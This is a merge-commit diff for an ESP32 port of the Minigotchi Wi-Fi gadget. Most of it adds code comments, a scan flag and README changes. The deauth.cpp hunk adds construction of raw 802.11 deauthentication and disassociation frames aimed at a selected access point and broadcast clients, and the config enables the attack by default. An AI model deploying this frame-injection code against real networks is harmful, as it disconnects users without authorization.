Merge pull request #52 from dj1ch/development

merge before major change

README.md

@@ -8,7 +8,7 @@
 
 ## The [Minigotchi](https://github.com/Pwnagotchi-Unofficial/minigotchi) ported to the ESP32
 
-<img src="images/Desktop Screenshot 2024.04.07 - 15.29.59.03.png"></img>
+<img src="images/IMG_1213.jpeg"></img>
 
 ### Intro
 
@@ -30,10 +30,11 @@ Note that the _C++_ in Arduino is slightly modified from what I have heard. See
 ### Prerequisites
 
 - Arduino IDE
-- A good understanding of coding/programming
-- An ESP32-based MCU(for this fork)
+- A good understanding of coding/programming if you plan on contributing
+- An ESP32-based SoC(for this fork)
 - A reliable and appropriate power source and supply for the hardware
 - Patience (a lot of it)
+- The ability to read
 
 ### How it operates/works
 

minigotchi-ESP32/channel.cpp

@@ -31,14 +31,20 @@
  *
  */
 
-// same channels in config
+/**
+ * Channels to use, matching the config
+ */
 int Channel::channelList[13] = {
     Config::channels[0], Config::channels[1],  Config::channels[2],
     Config::channels[3], Config::channels[4],  Config::channels[5],
     Config::channels[6], Config::channels[7],  Config::channels[8],
     Config::channels[9], Config::channels[10], Config::channels[11],
     Config::channels[12]};
 
+/**
+ * Here, we choose the channel to initialize on
+ * @param initChannel Channel to initialize on
+ */
 void Channel::init(int initChannel) {
   // start on user specified channel
   delay(250);
@@ -69,6 +75,9 @@ void Channel::init(int initChannel) {
   }
 }
 
+/**
+ * Cycle channels
+ */
 void Channel::cycle() {
   // get channels
   int numChannels = sizeof(channelList) / sizeof(channelList[0]);
@@ -81,6 +90,10 @@ void Channel::cycle() {
   switchChannel(newChannel);
 }
 
+/**
+ * Switch to given channel
+ * @param newChannel New channel to switch to
+ */
 void Channel::switchChannel(int newChannel) {
   // switch to channel
   delay(250);
@@ -108,7 +121,10 @@ void Channel::switchChannel(int newChannel) {
   }
 }
 
-// check if the channel switch was successful
+/**
+ * Check if the channel switch was successful
+ * @param channel Channel to compare with current channel
+ */
 void Channel::checkChannel(int channel) {
   int currentChannel = Channel::getChannel();
   if (channel == currentChannel) {
@@ -132,6 +148,10 @@ void Channel::checkChannel(int channel) {
   }
 }
 
+/**
+ * Checks whether or not channel is valid by indexing channel list
+ * @param channel Channel to check
+ */
 bool Channel::isValidChannel(int channel) {
   bool isValidChannel = false;
   for (int i = 0; i < sizeof(channelList) / sizeof(channelList[0]); i++) {
@@ -143,6 +163,9 @@ bool Channel::isValidChannel(int channel) {
   return isValidChannel;
 }
 
+/**
+ * Returns current channel as an integer
+ */
 int Channel::getChannel() {
   uint8_t primary;
   wifi_second_chan_t second;

minigotchi-ESP32/config.cpp

@@ -30,9 +30,10 @@
  *
  */
 
-// define whether or not deauthing or advertising is turned on
+// define if features will be used
 bool Config::deauth = true;
 bool Config::advertise = true;
+bool Config::scan = true;
 
 // define universal delays
 int Config::shortDelay = 500;
@@ -43,7 +44,7 @@ int Config::longDelay = 5000;
 bool Config::parasite = false;
 
 // screen configuration
-bool Config::display = true;
+bool Config::display = false;
 std::string Config::screen = "";
 
 // define baud rate
@@ -108,9 +109,14 @@ std::string Config::version = "3.3.2-beta";
  *
  */
 
-// randomize config values
+/**
+ * Generate a random integer based on a range of numbers
+ * @param min Lowest number
+ * @param max Highest number
+ */
 int Config::random(int min, int max) { return min + rand() % (max - min + 1); }
 
-int Config::time() {
-  return millis() / 1000; // convert to seconds
-}
+/**
+ * Checks current uptime
+ */
+int Config::time() { return millis() / 1000; }

minigotchi-ESP32/config.h

@@ -36,6 +36,7 @@ class Config {
 public:
   static bool deauth;
   static bool advertise;
+  static bool scan;
   static int shortDelay;
   static int longDelay;
   static bool parasite;

minigotchi-ESP32/deauth.cpp

@@ -83,6 +83,10 @@ uint8_t Deauth::deauthFrame[26];
 uint8_t Deauth::disassociateFrame[26];
 uint8_t Deauth::broadcastAddr[6] = {0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF};
 
+/**
+ * Adds SSIDs (or BSSIDs) to the whitelist
+ * @param bssids SSIDs/BSSIDs to whitelist
+ */
 void Deauth::add(const std::string &bssids) {
   std::stringstream ss(bssids);
   std::string token;
@@ -103,21 +107,34 @@ void Deauth::add(const std::string &bssids) {
   }
 }
 
+/**
+ * Adds everything to the whitelist
+ */
 void Deauth::list() {
   for (const auto &bssid : Config::whitelist) {
     Deauth::add(bssid);
   }
 }
 
+/**
+ * Sends a packet
+ * @param buf Packet to send
+ * @param len Length of packet
+ * @param sys_seq Ignore this, just make it false
+ */
 bool Deauth::send(uint8_t *buf, uint16_t len, bool sys_seq) {
-  delay(102);
   esp_err_t err = esp_wifi_80211_tx(WIFI_IF_STA, buf, len, sys_seq);
+  delay(102);
+
   return (err == ESP_OK);
 }
 
-// check if this is a broadcast
-// source:
-// https://github.com/SpacehuhnTech/esp8266_deauther/blob/v2/esp8266_deauther/functions.h#L334
+/**
+ * Check if packet source address is a broadcast
+ * source:
+ * https://github.com/SpacehuhnTech/esp8266_deauther/blob/v2/esp8266_deauther/functions.h#L334
+ * @param mac Mac address to check
+ */
 bool Deauth::broadcast(uint8_t *mac) {
   for (uint8_t i = 0; i < 6; i++) {
     if (mac[i] != broadcastAddr[i])
@@ -127,19 +144,31 @@ bool Deauth::broadcast(uint8_t *mac) {
   return true;
 }
 
+/**
+ * Format Mac Address as a String, then print it
+ * @param mac Address to print
+ */
 void Deauth::printMac(uint8_t *mac) {
   String macStr = printMacStr(mac);
   Serial.println(macStr);
   Display::updateDisplay("('-')", "AP BSSID: " + macStr);
 }
 
+/**
+ * Function meant to print Mac as a String used in printMac()
+ * @param mac Mac to use
+ */
 String Deauth::printMacStr(uint8_t *mac) {
   char buf[18]; // 17 for MAC, 1 for null terminator
   snprintf(buf, sizeof(buf), "%02x:%02x:%02x:%02x:%02x:%02x", mac[0], mac[1],
            mac[2], mac[3], mac[4], mac[5]);
   return String(buf);
 }
 
+/**
+ * Selects an AP to deauth, returns a boolean based on if the scan and selection
+ * was successful
+ */
 bool Deauth::select() {
   // reset values
   Deauth::randomAP = "";
@@ -268,6 +297,41 @@ bool Deauth::select() {
     std::copy(apBssid, apBssid + 6, Deauth::disassociateFrame + 10);
     std::copy(apBssid, apBssid + 6, Deauth::disassociateFrame + 16);
 
+    // checks if this is a broadcast
+    if (!broadcast(Deauth::broadcastAddr)) {
+      // build deauth
+      Deauth::deauthFrame[0] = 0xC0; // type
+      Deauth::deauthFrame[1] = 0x00; // subtype
+      Deauth::deauthFrame[2] = 0x00; // duration (SDK takes care of that)
+      Deauth::deauthFrame[3] = 0x00; // duration (SDK takes care of that)
+
+      // reason
+      Deauth::deauthFrame[24] = 0x01; // reason: unspecified
+
+      std::copy(apBssid, apBssid + sizeof(apBssid), Deauth::deauthFrame + 4);
+      std::copy(Deauth::broadcastAddr,
+                Deauth::broadcastAddr + sizeof(Deauth::broadcastAddr),
+                Deauth::deauthFrame + 10);
+      std::copy(Deauth::broadcastAddr,
+                Deauth::broadcastAddr + sizeof(Deauth::broadcastAddr),
+                Deauth::deauthFrame + 16);
+
+      // build disassocaition
+      Deauth::disassociateFrame[0] = 0xA0; // type
+      Deauth::disassociateFrame[1] = 0x00; // subtype
+      Deauth::disassociateFrame[2] = 0x00; // duration (SDK takes care of that)
+      Deauth::disassociateFrame[3] = 0x00; // duration (SDK takes care of that)
+
+      std::copy(apBssid, apBssid + sizeof(apBssid),
+                Deauth::disassociateFrame + 4);
+      std::copy(Deauth::broadcastAddr,
+                Deauth::broadcastAddr + sizeof(Deauth::broadcastAddr),
+                Deauth::disassociateFrame + 10);
+      std::copy(Deauth::broadcastAddr,
+                Deauth::broadcastAddr + sizeof(Deauth::broadcastAddr),
+                Deauth::disassociateFrame + 16);
+    }
+
     Serial.print("('-') Full AP SSID: ");
     Serial.println(WiFi.SSID(Deauth::randomIndex));
     Display::updateDisplay("('-')",
@@ -320,6 +384,9 @@ bool Deauth::select() {
   return false;
 }
 
+/**
+ * Full deauthentication attack
+ */
 void Deauth::deauth() {
   if (Config::deauth) {
     // select AP
@@ -358,6 +425,9 @@ void Deauth::deauth() {
   }
 }
 
+/**
+ * Starts deauth attack
+ */
 void Deauth::start() {
   running = true;
   int deauthFrameSize = sizeof(deauthFrame);

minigotchi-ESP32/display.cpp

@@ -36,6 +36,9 @@ String Display::previousFace = "";
 String Display::storedText = "";
 String Display::previousText = "";
 
+/**
+ * Deletes any pointers if used
+ */
 Display::~Display() {
   if (ssd1306_adafruit_display) {
     delete ssd1306_adafruit_display;
@@ -51,6 +54,9 @@ Display::~Display() {
   }
 }
 
+/**
+ * Function to initialize the screen ONLY.
+ */
 void Display::startScreen() {
   if (Config::display) {
     if (Config::screen == "SSD1306") {
@@ -154,8 +160,17 @@ void Display::startScreen() {
  *
  */
 
+/**
+ * Updates the face ONLY
+ * @param face Face to use
+ */
 void Display::updateDisplay(String face) { Display::updateDisplay(face, ""); }
 
+/**
+ * Updates the display with both face and text
+ * @param face Face to use
+ * @param text Additional text under the face
+ */
 void Display::updateDisplay(String face, String text) {
   if (Config::display) {
     if ((Config::screen == "SSD1306" ||
@@ -281,6 +296,15 @@ void Display::updateDisplay(String face, String text) {
 // If using the U8G2 library, it does not handle wrapping if text is too long to
 // fit on the screen So will print text for screens using that library via this
 // method to handle line-breaking
+
+/**
+ * Handles U8G2 screen formatting.
+ * This will only be used if the UG82 related screens are used and applied
+ * within the config
+ * @param x X value to print data
+ * @param y Y value to print data
+ * @param data Text to print
+ */
 void Display::printU8G2Data(int x, int y, const char *data) {
   if (Config::screen == "IDEASPARK_SSD1306") {
     int numCharPerLine = ssd1306_ideaspark_display->getWidth() /

minigotchi-ESP32/frame.cpp

@@ -55,6 +55,7 @@ const uint8_t Frame::SignatureAddr[] = {0xde, 0xad, 0xbe, 0xef, 0xde, 0xad};
 const uint8_t Frame::BroadcastAddr[] = {0xff, 0xff, 0xff, 0xff, 0xff, 0xff};
 const uint16_t Frame::wpaFlags = 0x0411;
 
+// Don't even dare restyle!
 const uint8_t Frame::header[]{
     /*  0 - 1  */ 0x80,
     0x00, // frame control, beacon frame
@@ -115,6 +116,10 @@ const int Frame::pwngridHeaderLength = sizeof(Frame::header);
  *
  */
 
+/**
+ * Replicates pwngrid's pack() function from pack.go
+ * https://github.com/evilsocket/pwngrid/blob/master/wifi/pack.go
+ */
 uint8_t *Frame::pack() {
   // make a json doc
   String jsonString = "";
@@ -194,6 +199,9 @@ uint8_t *Frame::pack() {
   return beaconFrame;
 }
 
+/**
+ * Sends a pwnagotchi packet in AP mode
+ */
 bool Frame::send() {
   // convert to a pointer because esp-idf is a pain in the ass
   WiFi.mode(WIFI_AP);
@@ -212,6 +220,9 @@ bool Frame::send() {
   return (err == ESP_OK);
 }
 
+/**
+ * Full usage of Pwnagotchi's advertisments on the Minigotchi.
+ */
 void Frame::advertise() {
   int packets = 0;
   unsigned long startTime = millis();